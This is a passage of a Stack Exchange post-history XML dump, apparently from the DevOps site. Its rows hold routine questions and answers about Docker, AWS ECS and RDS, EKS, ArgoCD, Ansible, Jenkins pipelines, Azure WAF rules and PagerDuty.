this helps " ContentLicense="CC BY-SA 4.0" />
  <row Id="43427" PostHistoryTypeId="5" PostId="13799" RevisionGUID="a13fd974-f034-497f-8aa4-41a0faf6d5cb" CreationDate="2021-04-29T21:22:53.713" UserId="27405" Comment="added 291 characters in body" Text="The best way I have found so far is to use Docker containers with a docker file that does the installation of node_modules before running other steps. &#xD;&#xA;&#xD;&#xA;I make sure all jobs of this multi branch pipeline run on the same node and keep the latest docker image for EACH branch on this node locally. That way unless the dependencies in packages.json change, then docker will use the cache to build the new image (or just generate the artifact you want to create and transfer it to the local workspace). If all branches have the same dependencies, they will all use the same cached image, if not they will just create a new one.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;```&#xD;&#xA;## CHOSE YOUR LOCAL BASE IMAGE&#xD;&#xA;FROM debian:10.0&#xD;&#xA;&#xD;&#xA;### ADD YOUR DEPENDENCIES&#xD;&#xA;ADD packages.json build-deps.sh&#xD;&#xA;&#xD;&#xA;### INSTALL DEPENDENCIES (we use a custom script)&#xD;&#xA;RUN build-deps.sh&#xD;&#xA;&#xD;&#xA;### ADD THE REST OF YOUR CODE &#xD;&#xA;### This will break the cache assuming your code changes each time,&#xD;&#xA;### but previous docker build commands will be cached &#xD;&#xA;### (if your dependencies didn't change)&#xD;&#xA;ADD my-code.tar.gz .&#xD;&#xA;&#xD;&#xA;### RUN YOUR COMMANDS&#xD;&#xA;RUN run-your-scripts.sh&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;After building you image with docker build, you can then do soemthing like this to extract the artifact&#xD;&#xA;```&#xD;&#xA;docker run --name SOME-NAME YOUR-REPO:YOUR-TAG&#xD;&#xA;sudo docker cp SOME-NAME:/path/to/artifact/artifact.tar.gz ${WORKSPACE}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I hope this helps " ContentLicense="CC BY-SA 4.0" />
  <row Id="43428" PostHistoryTypeId="50" PostId="13632" RevisionGUID="0d69248c-13d1-4fb1-9821-f1a8f3d1b244" CreationDate="2021-04-29T22:07:15.653" UserId="-1" />
  <row Id="43437" PostHistoryTypeId="2" PostId="13802" RevisionGUID="cdfdf440-df7e-4f66-adb0-5695e3a4f113" CreationDate="2021-04-30T08:48:01.867" UserId="25811" Text="I'm using [this method][1] to deploy my docker-compose project to AWS ECS. &#xD;&#xA;&#xD;&#xA;A simplified version of my docker-compose.yml looks like this:&#xD;&#xA;```yaml&#xD;&#xA;version: '3'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  web:&#xD;&#xA;    image: .dkr.ecr.eu-west-3.amazonaws.com/django:${IMAGE_TAG}&#xD;&#xA;    build:&#xD;&#xA;      context: .&#xD;&#xA;      dockerfile: ./Dockerfile&#xD;&#xA;&#xD;&#xA;  nginx:&#xD;&#xA;    image: .dkr.ecr.eu-west-3.amazonaws.com/nginx:${IMAGE_TAG}&#xD;&#xA;    build:&#xD;&#xA;      context: .&#xD;&#xA;      dockerfile: ./nginx.Dockerfile&#xD;&#xA;    ports:&#xD;&#xA;      - 80:80&#xD;&#xA;    depends_on:&#xD;&#xA;      - web&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So, run `docker compose up` with my AWS ECS context and it works beautifully, cloud-formation creates all my resources and so on.&#xD;&#xA;&#xD;&#xA;But, I can't figure out how to get these two services (web and nginx) to run in one task. Since they are in separate tasks at the moment it will create two instances of FARGATE or EC2 which is a bit overkill. I'd like two run the two containers on one instance but be able to scale up to more duplicate instances.&#xD;&#xA;&#xD;&#xA;As stated in the link attached, I can modify the cloud-formation template to my liking, but something are limited to what I can modify. I don't think I can move that container service to another task since the image tag etc are created dynamically by `docker compose`.&#xD;&#xA;&#xD;&#xA;My ECS cluster looks like this atm.&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/cloud/ecs-integration/&#xD;&#xA;  [2]: https://i.stack.imgur.com/lQ9c5.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="43438" PostHistoryTypeId="1" PostId="13802" RevisionGUID="cdfdf440-df7e-4f66-adb0-5695e3a4f113" CreationDate="2021-04-30T08:48:01.867" UserId="25811" Text="Docker compose to ECS, two services in one task" ContentLicense="CC BY-SA 4.0" />
  <row Id="43439" PostHistoryTypeId="3" PostId="13802" RevisionGUID="cdfdf440-df7e-4f66-adb0-5695e3a4f113" CreationDate="2021-04-30T08:48:01.867" UserId="25811" Text="&lt;docker&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43440" PostHistoryTypeId="2" PostId="13803" RevisionGUID="dcf09322-bb92-4fb6-a89e-dc8b0d3e0718" CreationDate="2021-04-30T11:26:58.400" UserId="27265" Text="What you are looking for is a `sidecar` pattern where you run a container of your main application and a number of additional containers (one or more) in support of it. This is a well established pattern with orchestrators such as ECS but it's not possible to declare it with a docker compose syntax today. There is an [open request](https://github.com/docker/compose-cli/issues/1566) talking about this. Can I ask you to +1 it and add your commentary/request there? It would help Docker to sense demand for this feature. Thanks!   " ContentLicense="CC BY-SA 4.0" />
  <row Id="43443" PostHistoryTypeId="2" PostId="13804" RevisionGUID="bb7539dc-154e-472b-beb1-9fdf40a6828a" CreationDate="2021-04-30T13:37:30.280" UserId="27415" Text="Docker machine cannot access .env file in the host root folder&#xD;&#xA;It can be reproduced on this machine with  docker run --env-file /root/.env hello-world&#xD;&#xA;&#xD;&#xA;What can prevent docker process of accessing this file?&#xD;&#xA;&#xD;&#xA;[![Terminal output][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/8df07.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="43444" PostHistoryTypeId="1" PostId="13804" RevisionGUID="bb7539dc-154e-472b-beb1-9fdf40a6828a" CreationDate="2021-04-30T13:37:30.280" UserId="27415" Text="Docker cannot access env-file" ContentLicense="CC BY-SA 4.0" />
  <row Id="43445" PostHistoryTypeId="3" PostId="13804" RevisionGUID="bb7539dc-154e-472b-beb1-9fdf40a6828a" CreationDate="2021-04-30T13:37:30.280" UserId="27415" Text="&lt;docker&gt;&lt;ubuntu&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43451" PostHistoryTypeId="50" PostId="13644" RevisionGUID="1c790f46-b0f7-4aa5-892c-525d63c8439e" CreationDate="2021-05-01T11:03:05.277" UserId="-1" />
  <row Id="43452" PostHistoryTypeId="2" PostId="13806" RevisionGUID="903ac883-5eba-4888-a94d-840a2c9a167d" CreationDate="2021-05-02T10:47:13.237" UserId="15521" Text="I have an application that I need to make it accessible across 4 regions, I saw blogs and other posts in the internet that speaks about the read replica of AWS RDS MySQL Server, is it possible to enable write operations in the regions so that the data can be in sync and be writable across all the regions." ContentLicense="CC BY-SA 4.0" />
  <row Id="43453" PostHistoryTypeId="1" PostId="13806" RevisionGUID="903ac883-5eba-4888-a94d-840a2c9a167d" CreationDate="2021-05-02T10:47:13.237" UserId="15521" Text="Is it possible to deploy RDS in multiple region in AWS with read and write replica" ContentLicense="CC BY-SA 4.0" />
  <row Id="43454" PostHistoryTypeId="3" PostId="13806" RevisionGUID="903ac883-5eba-4888-a94d-840a2c9a167d" CreationDate="2021-05-02T10:47:13.237" UserId="15521" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;amazon-rds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43455" PostHistoryTypeId="2" PostId="13807" RevisionGUID="e80dcfb5-bf6d-4a1e-bd80-31216ab4d3d7" CreationDate="2021-05-02T19:21:23.643" UserId="8550" Text="According to the [AWS documentation][1], it is possible to integrate Amazon API Gateway with EKS using ALB. However, by far most of this documentation explains how to do this with NLB instead of ALB. So hopefully, someone can explain how to do this with ALB. &#xD;&#xA;&#xD;&#xA;For example, do I need to create ingress to enable me calling my services? Or is there another way?  How to configure my ALB and my API gateway? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/blogs/containers/integrate-amazon-api-gateway-with-amazon-eks/" ContentLicense="CC BY-SA 4.0" />
  <row Id="43456" PostHistoryTypeId="1" PostId="13807" RevisionGUID="e80dcfb5-bf6d-4a1e-bd80-31216ab4d3d7" CreationDate="2021-05-02T19:21:23.643" UserId="8550" Text="How to Integrate Amazon API Gateway with EKS using Application Load Balancer (ALB)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43457" PostHistoryTypeId="3" PostId="13807" RevisionGUID="e80dcfb5-bf6d-4a1e-bd80-31216ab4d3d7" CreationDate="2021-05-02T19:21:23.643" UserId="8550" Text="&lt;kubernetes&gt;&lt;amazon-web-services&gt;&lt;load-balance&gt;&lt;eks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43458" PostHistoryTypeId="2" PostId="13808" RevisionGUID="0a4c6027-e2a0-48b3-b161-a1749aa7478d" CreationDate="2021-05-02T23:30:10.437" UserId="27443" Text="Using ArgoCD, I'd like to have the App AutoSync Update/Reploy when the docker image is updated on a specific tag such as `latest` or `stable`.&#xD;&#xA;&#xD;&#xA;For example, if I have a deployment in my git repo like this:&#xD;&#xA;&#xD;&#xA;    apiVersion: apps/v1&#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      name: k8s-nginx-example&#xD;&#xA;    spec:&#xD;&#xA;      selector:&#xD;&#xA;        matchLabels:&#xD;&#xA;          app: k8s-nginx-example&#xD;&#xA;      replicas: 2 # tells deployment to run 2 pods matching the template&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: k8s-nginx-example&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;          - name: nginx&#xD;&#xA;            image: my-repo/k8s-nginx-example:latest&#xD;&#xA;            ports:&#xD;&#xA;            - containerPort: 80&#xD;&#xA;            resources:&#xD;&#xA;              requests:&#xD;&#xA;                memory: &quot;64Mi&quot;&#xD;&#xA;                cpu: &quot;250m&quot;&#xD;&#xA;              limits:&#xD;&#xA;                memory: &quot;128Mi&quot;&#xD;&#xA;                cpu: &quot;500m&quot;&#xD;&#xA;&#xD;&#xA;I'd like ArgoCD to update the deployment when a new docker image is pushed to `latest` tag or `stable`... etc. I know that ArgoCD polls the git repo of the app every 3 seconds so it is not aware of the changes to the Docker Image Tag. Another option could be (but I'm not sure how to do it)  would be to have ArgoCD Update via a webhook that notifies ArgoCD that there is a new image to pull with the `latest` tag, although even after pushing a Docker Image to the repository with the `latest` and then manually `syncing` the app in ArgoCD, Argo does nothing. I suspect that Argo is only reaching out to the git repo to check for changes and is not concerned with the Docker image in the deployment. &#xD;&#xA;&#xD;&#xA;The only way I can think of doing this currently with ArgoCD is to version the Docker images with version tags `1.2.3` and then script the build process to update the deployment in the git repository with the image tag version each time. &#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    containers:&#xD;&#xA;      - name: nginx&#xD;&#xA;        image: my-repo/k8s-nginx-example:1.2.3&#xD;&#xA;        ports:&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is there a way to do this in ArgoCD? Or would a better option be using Argo Workflows with Argo Events? I was hoping that there might be a plugin or something that can either trigger the event or monitor the docker image.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;Meta: Need tags Argo and ArgoCD" ContentLicense="CC BY-SA 4.0" />
  <row Id="43459" PostHistoryTypeId="1" PostId="13808" RevisionGUID="0a4c6027-e2a0-48b3-b161-a1749aa7478d" CreationDate="2021-05-02T23:30:10.437" UserId="27443" Text="ArgoCD Autosync based off of Docker Image `latest` Tag" ContentLicense="CC BY-SA 4.0" />
  <row Id="43460" PostHistoryTypeId="3" PostId="13808" RevisionGUID="0a4c6027-e2a0-48b3-b161-a1749aa7478d" CreationDate="2021-05-02T23:30:10.437" UserId="27443" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43461" PostHistoryTypeId="2" PostId="13809" RevisionGUID="1f591150-ebb8-44ba-a6c2-17663807584c" CreationDate="2021-05-03T01:38:37.490" UserId="2956" Text="From the same page:&#xD;&#xA;&#xD;&#xA;    The steps to integrate ALB and NLB with API Gateway are identical.&#xD;&#xA;&#xD;&#xA;Which follows by a sentence with a link to a documentation for an [ALB ingress][1], including prerequisites for VPC subnets and EKS resources.&#xD;&#xA;&#xD;&#xA;Yes, you have to create one unless you'd want to configure ALB manually instead of using `Ingress` manifests inside k8s.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/eks/latest/userguide/alb-ingress.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="43463" PostHistoryTypeId="2" PostId="13810" RevisionGUID="55959778-61cb-44d8-93e0-d14545e642c0" CreationDate="2021-05-03T04:55:46.443" UserId="13111" Text="Package facts (as any other facts like devices, disks and their partitions, ipaddresses.....) don't refresh automagically.&#xD;&#xA;&#xD;&#xA;In your case, you can use a [handler](https://docs.ansible.com/ansible/latest/user_guide/playbooks_handlers.html) and notify it from any task that can possibly invalidate the cache. Here is a quickNdirty example:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- name: Pseudo code demo for package facts refresh&#xD;&#xA;  hosts: localhost&#xD;&#xA;  &#xD;&#xA;  tasks:&#xD;&#xA;&#xD;&#xA;    - name: Gather the package facts unconditionally at play start&#xD;&#xA;      package_facts:&#xD;&#xA;&#xD;&#xA;    - name: Make sure package X is installed&#xD;&#xA;      package:&#xD;&#xA;        name: package_X&#xD;&#xA;      notify: refresh_package_facts&#xD;&#xA;&#xD;&#xA;  handlers:&#xD;&#xA;&#xD;&#xA;    - name: Refresh the package facts&#xD;&#xA;      package_facts:&#xD;&#xA;      listen: refresh_package_facts&#xD;&#xA;```&#xD;&#xA;    " ContentLicense="CC BY-SA 4.0" />
  <row Id="43464" PostHistoryTypeId="5" PostId="13810" RevisionGUID="42d0c8bf-c8f0-414d-a636-3c64763bae7a" CreationDate="2021-05-03T05:03:11.413" UserId="13111" Comment="Add flush cache" Text="Package facts (as any other facts like devices, disks and their partitions, IP addresses...) don't refresh automagically.&#xD;&#xA;&#xD;&#xA;In your case, you can use a [handler](https://docs.ansible.com/ansible/latest/user_guide/playbooks_handlers.html) and notify it from any task that can possibly invalidate the cache. Here is a quickNdirty example:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- name: Pseudo code demo for package facts refresh&#xD;&#xA;  hosts: localhost&#xD;&#xA;  &#xD;&#xA;  tasks:&#xD;&#xA;&#xD;&#xA;    - name: Gather the package facts unconditionally at play start&#xD;&#xA;      package_facts:&#xD;&#xA;&#xD;&#xA;    - name: Make sure package X is installed&#xD;&#xA;      package:&#xD;&#xA;        name: package_X&#xD;&#xA;      notify: refresh_package_facts&#xD;&#xA;    &#xD;&#xA;    # By default, handlers run at the end of the play.&#xD;&#xA;    # If you want to force them to run at a certain point,&#xD;&#xA;    # you need the following meta task.&#xD;&#xA;    # Note =&gt; this will run !!ALL!! notified handlers&#xD;&#xA;    - name: Run handlers if notified&#xD;&#xA;      meta: flush_handlers&#xD;&#xA;&#xD;&#xA;    - name: This task will run with an up-to-date cache&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;{{ ansible_facts.packages | length }} packages are installed&quot;&#xD;&#xA;&#xD;&#xA;  handlers:&#xD;&#xA;&#xD;&#xA;    - name: Refresh the package facts&#xD;&#xA;      package_facts:&#xD;&#xA;      listen: refresh_package_facts&#xD;&#xA;```&#xD;&#xA;    " ContentLicense="CC BY-SA 4.0" />
  <row Id="43465" PostHistoryTypeId="5" PostId="13736" RevisionGUID="3ae568dd-8bb6-417d-a319-b8df98bc4737" CreationDate="2021-05-03T06:31:26.520" UserId="13111" Comment="Repaired shift key broken after every period + Syntax highlighting" Text="I have 2 Ansible jobs. Both of them compare files to find their differences. One of them is for `crontab` and the other one is for `users`. They are run first of each month and send their report via Email. Email step in both playbooks are the same and only `attach` part is different. The problem is one of them sends Email and the other one no. This is the Email Step:  &#xD;&#xA;```yaml&#xD;&#xA;- hosts: localhost&#xD;&#xA;  remote_user: root&#xD;&#xA;  tasks:&#xD;&#xA;  - name: Send e-mail attaching files&#xD;&#xA;    mail:&#xD;&#xA;      host: &lt;host IP&gt;&#xD;&#xA;      port: &lt;port&gt;&#xD;&#xA;      username: &lt;username&gt;&#xD;&#xA;      password: &lt;password&gt;&#xD;&#xA;      subject: Ansible-Crontab&#xD;&#xA;      body: &quot;hi! here is the report of crontab diffrences on every HA machine.&quot;&#xD;&#xA;      from: &lt;Email address&gt;&#xD;&#xA;      to:&#xD;&#xA;      - &lt;first person Email address&gt;&#xD;&#xA;      - &lt;second person Email address&gt;&#xD;&#xA;      - &lt;third person Email address&gt;&#xD;&#xA;      attach:&#xD;&#xA;      - &quot;/data1/AnsibleDir/crontab_report/crontab_div.txt&quot;&#xD;&#xA;      charset: us-ascii&#xD;&#xA;      run_once: true&#xD;&#xA;```&#xD;&#xA;This step is in both scripts. It works on `users` but it does not work on `crontab` which means I receive only one Email first of each month. I checked access to each directory and it was the same. Why this happen and how to solve it?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43466" PostHistoryTypeId="24" PostId="13736" RevisionGUID="3ae568dd-8bb6-417d-a319-b8df98bc4737" CreationDate="2021-05-03T06:31:26.520" Comment="Proposed by 13111 approved by 40 edit id of 1371" ContentLicense="CC BY-SA 4.0" />
  <row Id="43467" PostHistoryTypeId="2" PostId="13811" RevisionGUID="4ec709ce-9171-43ed-811e-6ea116957f27" CreationDate="2021-05-03T08:33:46.100" UserId="8251" Text="You can look at [Aurora Global Database][1] for this. Based on this [news announcement][2], you can also configure the setup, so you can write to your local db cluster and this is forwarded to your primary region. &#xD;&#xA;&#xD;&#xA;Of course there would be some lag in write requests, essentially of the length of time it takes to write to the primary region and replicate the data changes back to the replica in your local region. Nonetheless this is likely easier to handle (and with the same methods in a web application), as if you wrote to the primary region yourself and checked if the data had arrived back in local replica.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/rds/aurora/global-database/&#xD;&#xA;  [2]: https://aws.amazon.com/blogs/database/building-globally-distributed-mysql-applications-using-write-forwarding-in-amazon-aurora-global-database/" ContentLicense="CC BY-SA 4.0" />
  <row Id="43468" PostHistoryTypeId="50" PostId="10060" RevisionGUID="4b19568f-0557-41dc-9aa5-c96ad5c7a155" CreationDate="2021-05-03T11:06:36.133" UserId="-1" />
  <row Id="43469" PostHistoryTypeId="2" PostId="13812" RevisionGUID="3b2f88b5-1c69-4535-a6f5-2f7abe1bc110" CreationDate="2021-05-03T11:26:06.257" UserId="3429" Text="I preparing script in Jenkins as below where I getting error while build job. This job is send email to user for `input` for next step. &#xD;&#xA;&#xD;&#xA;     [Pipeline] End of Pipeline&#xD;&#xA;     java.lang.UnsupportedOperationException: no known implementation of class jenkins.tasks.SimpleBuildWrapper is named BuildUser&#xD;&#xA;	    at org.jenkinsci.plugins.structs.describable.DescribableModel.resolveClass(DescribableModel.java:549)&#xD;&#xA;    	at org.jenkinsci.plugins.structs.describable.DescribableModel.coerce(DescribableModel.java:473)&#xD;&#xA;        ...&#xD;&#xA;        ...&#xD;&#xA;&#xD;&#xA;Version :&#xD;&#xA;  &#xD;&#xA;    $ java --version&#xD;&#xA;     openjdk 11.0.11 2021-04-20&#xD;&#xA;&#xD;&#xA;    jenkins : 2.277.3&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Pipeline code:&#xD;&#xA;&#xD;&#xA;    def user&#xD;&#xA;    node {&#xD;&#xA;    wrap([$class: 'BuildUser']) {&#xD;&#xA;    user = env.BUILD_USER_ID&#xD;&#xA;    }&#xD;&#xA;  &#xD;&#xA;    emailext mimeType: 'text/html',&#xD;&#xA;                 subject: &quot;[Jenkins]${currentBuild.fullDisplayName}&quot;,&#xD;&#xA;                 to: &quot;user@xxx.com&quot;,&#xD;&#xA;                 body: '''&lt;a href=&quot;${BUILD_URL}input&quot;&gt;click to approve&lt;/a&gt;'''&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;    agent any&#xD;&#xA;    stages {&#xD;&#xA;        stage('deploy') {&#xD;&#xA;            input {&#xD;&#xA;                message &quot;Should we continue?&quot;&#xD;&#xA;                ok &quot;Yes&quot;&#xD;&#xA;            }&#xD;&#xA;            when {&#xD;&#xA;                expression { user == 'hardCodeApproverJenkinsId'}&#xD;&#xA;            }&#xD;&#xA;            steps {&#xD;&#xA;                sh &quot;echo 'describe your deployment' &quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;       }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Can anyone please review this, please ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43470" PostHistoryTypeId="1" PostId="13812" RevisionGUID="3b2f88b5-1c69-4535-a6f5-2f7abe1bc110" CreationDate="2021-05-03T11:26:06.257" UserId="3429" Text="java.lang.UnsupportedOperationException: no known implementation of class jenkins.tasks.SimpleBuildWrapper is named BuildUser in jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="43471" PostHistoryTypeId="3" PostId="13812" RevisionGUID="3b2f88b5-1c69-4535-a6f5-2f7abe1bc110" CreationDate="2021-05-03T11:26:06.257" UserId="3429" Text="&lt;jenkins&gt;&lt;automation&gt;&lt;groovy&gt;&lt;pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43475" PostHistoryTypeId="2" PostId="13814" RevisionGUID="b060a94c-1436-4206-9be6-8d370b8f952b" CreationDate="2021-05-03T12:54:55.257" UserId="27150" Text="I've been asked to edit an app's application gateway Terraform config by adding some web application firewall rules to be disabled. The app's cloud infrastructure is Microsoft Azure (here's the Azure provider [reference][1]) and I can straightforwardly add the rules however would like to comment on them more and cannot find a comprehensive reference of each rule in a rule_group_name.&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/application_gateway#disabled_rule_group" ContentLicense="CC BY-SA 4.0" />
  <row Id="43476" PostHistoryTypeId="1" PostId="13814" RevisionGUID="b060a94c-1436-4206-9be6-8d370b8f952b" CreationDate="2021-05-03T12:54:55.257" UserId="27150" Text="I'm configuring some WAF rules for an app gateway in Azure, using Terraform. Where can I find more info on these rules' functions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43477" PostHistoryTypeId="3" PostId="13814" RevisionGUID="b060a94c-1436-4206-9be6-8d370b8f952b" CreationDate="2021-05-03T12:54:55.257" UserId="27150" Text="&lt;terraform&gt;&lt;azure-devops&gt;&lt;azure&gt;&lt;firewall&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43484" PostHistoryTypeId="2" PostId="13816" RevisionGUID="daad01e9-3b18-4c4a-a0d8-9febec743ee6" CreationDate="2021-05-03T20:44:08.700" UserId="323" Text="# Peter Turner&#xD;&#xA;&#xD;&#xA;Answering the call for the DevOps moderator nomination.  I'm a mod on Christianity.SE for quite a while, weathered the 2019 purge (to my credit or detriment, you decide) and I've been on StackOverflow since the beta.&#xD;&#xA;&#xD;&#xA;As moderator on DevOps, I'd be patient and fair as I've learned to be, I don't think we've got quite as much trolling or holy wars as there are on Christianity.SE but I'm sure some people get pretty hot about Chef vs Puppet vs Ansible.&#xD;&#xA;&#xD;&#xA;As for DevOps cred, I suppose I'd have to contribute to some OSS to actually have some, but I work 8 to 6 in practicing the art of automating Titanic deck chair shuffling and raise a family the rest of the time. I've written hundreds of ansible roles and some packer templates.  I don't know if that helps as a mod, but I think I understand where most of the questions on the site are coming from, which is a handy skill.&#xD;&#xA;&#xD;&#xA;I'm AWS Certified Pro Architect too, but who isn't, so that's not much of a plug. Either way, look up my meta record on Christianity.SE you can see if people think I've made a positive difference, just don't look me up on Programmers.SE (or whatever they call it now), I learned my lesson over there." ContentLicense="CC BY-SA 4.0" />
  <row Id="43485" PostHistoryTypeId="2" PostId="13817" RevisionGUID="de473d3d-9366-422b-8619-d2fe02d05daa" CreationDate="2021-05-04T00:06:36.127" UserId="7078" Text="Looks like it is possible to implement auto-resolution with Pagerduty API integration. So, when the monitoring system detects an issue based on some metric and threshold, it would create a Pagerduty incident through the API integration. Later, if the metric falls below the threshold, it could automatically resolve the incident, in case it is still open.&#xD;&#xA;&#xD;&#xA;This feature could be very useful for several reasons:&#xD;&#xA;&#xD;&#xA;### Cases where a large number of incidents get triggered due to a common root cause&#xD;&#xA;&#xD;&#xA;In this case, the on call person is spared from having to ack/resolve so many incidents and instead focus on troubleshooting and fixing the problem.&#xD;&#xA;&#xD;&#xA;### Auto-resolution would capture the incident duration more accurately&#xD;&#xA;&#xD;&#xA;Humans are not good in doing things on a timely basis. If we are computing MTTR based on manual resolution of incidents, it may lead to inaccurate measurements.&#xD;&#xA;&#xD;&#xA;Has anyone implemented auto-resolution with Pagerduty? If so, would you be able to talk about pros and cons?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43486" PostHistoryTypeId="1" PostId="13817" RevisionGUID="de473d3d-9366-422b-8619-d2fe02d05daa" CreationDate="2021-05-04T00:06:36.127" UserId="7078" Text="Pagerduty API integration and auto-resolution" ContentLicense="CC BY-SA 4.0" />
  <row Id="43487" PostHistoryTypeId="3" PostId="13817" RevisionGUID="de473d3d-9366-422b-8619-d2fe02d05daa" CreationDate="2021-05-04T00:06:36.127" UserId="7078" Text="&lt;pagerduty&gt;&lt;incident-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43488" PostHistoryTypeId="5" PostId="13817" RevisionGUID="77787be8-609f-489e-be09-5141bc026a38" CreationDate="2021-05-04T00:12:51.777" UserId="7078" Comment="deleted 13 characters in body" Text="It is possible to implement auto-resolution with Pagerduty API integration. When a monitoring system detects an issue based on some metric and a threshold, it would create a Pagerduty incident through the API integration. Later, if the metric falls below the threshold, it could automatically resolve the incident, in case it is still open.&#xD;&#xA;&#xD;&#xA;This feature could be very useful for several reasons:&#xD;&#xA;&#xD;&#xA;### Cases where a large number of incidents get triggered due to a common root cause&#xD;&#xA;&#xD;&#xA;In this case, the on call person is spared from having to ack/resolve so many incidents and instead focus on troubleshooting and fixing the problem.&#xD;&#xA;&#xD;&#xA;### Auto-resolution would capture the incident duration more accurately&#xD;&#xA;&#xD;&#xA;Humans are not good in doing things on a timely basis. If we are computing MTTR based on manual resolution of incidents, it may lead to inaccurate measurements.&#xD;&#xA;&#xD;&#xA;Has anyone implemented auto-resolution with Pagerduty? If so, would you be able to talk about the pros and cons?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43489" PostHistoryTypeId="6" PostId="13817" RevisionGUID="25e07293-c079-47da-b715-4fa44da35ae4" CreationDate="2021-05-04T02:21:26.630" UserId="7078" Comment="edited tags" Text="&lt;monitoring&gt;&lt;pagerduty&gt;&lt;incident-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43490" PostHistoryTypeId="50" PostId="13635" RevisionGUID="2c8b44ea-2612-4725-917b-6b0769f3bfd9" CreationDate="2021-05-04T06:07:55.720" UserId="-1" />
  <row Id="43491" PostHistoryTypeId="50" PostId="13646" RevisionGUID="c63f76ce-020f-443b-8546-a98074f19868" CreationDate="2021-05-04T07:03:10.347" UserId="-1" />
  <row Id="43492" PostHistoryTypeId="2" PostId="13818" RevisionGUID="c5e718d4-4c22-40ea-866b-d15ca853bec1" CreationDate="2021-05-04T08:44:55.203" UserId="27258" Text="Google Support tracked down the issue down for us:&#xD;&#xA;&#xD;&#xA;&gt; this issue appears to have been caused by a known Issue affecting&#xD;&#xA;&gt; Konnectivity, under some circumstances a memory leak could occur, in&#xD;&#xA;&gt; the case of your cluster, this appears to end up causing&#xD;&#xA;&gt; connection timeouts after some time, this issue has already been&#xD;&#xA;&gt; addressed on the Konnectivity network proxy [1], and the fix is&#xD;&#xA;&gt; already available within GKE on version 1.19.9 or higher.&#xD;&#xA;&#xD;&#xA;[1] https://github.com/kubernetes-sigs/apiserver-network-proxy/pull/168" ContentLicense="CC BY-SA 4.0" />
  <row Id="43494" PostHistoryTypeId="2" PostId="13819" RevisionGUID="6717f6a5-dc32-48bd-800d-42617b261b14" CreationDate="2021-05-04T14:47:30.530" UserId="20204" Text="This isn't really an ArgoCD thing. [Keel is a good tool][1] to help keep your images updated across the cluster and is super easy to implement. Basically, you'd just add some annotations to your manifest.&#xD;&#xA;&#xD;&#xA;    metadata:&#xD;&#xA;      annotations:&#xD;&#xA;        keel.sh/policy: force&#xD;&#xA;        keel.sh/trigger: poll      &#xD;&#xA;        keel.sh/pollSchedule: &quot;@every 10m&quot;&#xD;&#xA;&#xD;&#xA;It may be worth noting that if you are moving to run this in production, avoid the use of the latest tag. This is considered bad practice as it can burn you when breaking changes are pushed. Keel can handle that through an innate understanding of semver tags allowing you to update on minor version changes, but avoid major without testing, etc.&#xD;&#xA;&#xD;&#xA;  [1]: https://keel.sh/" ContentLicense="CC BY-SA 4.0" />
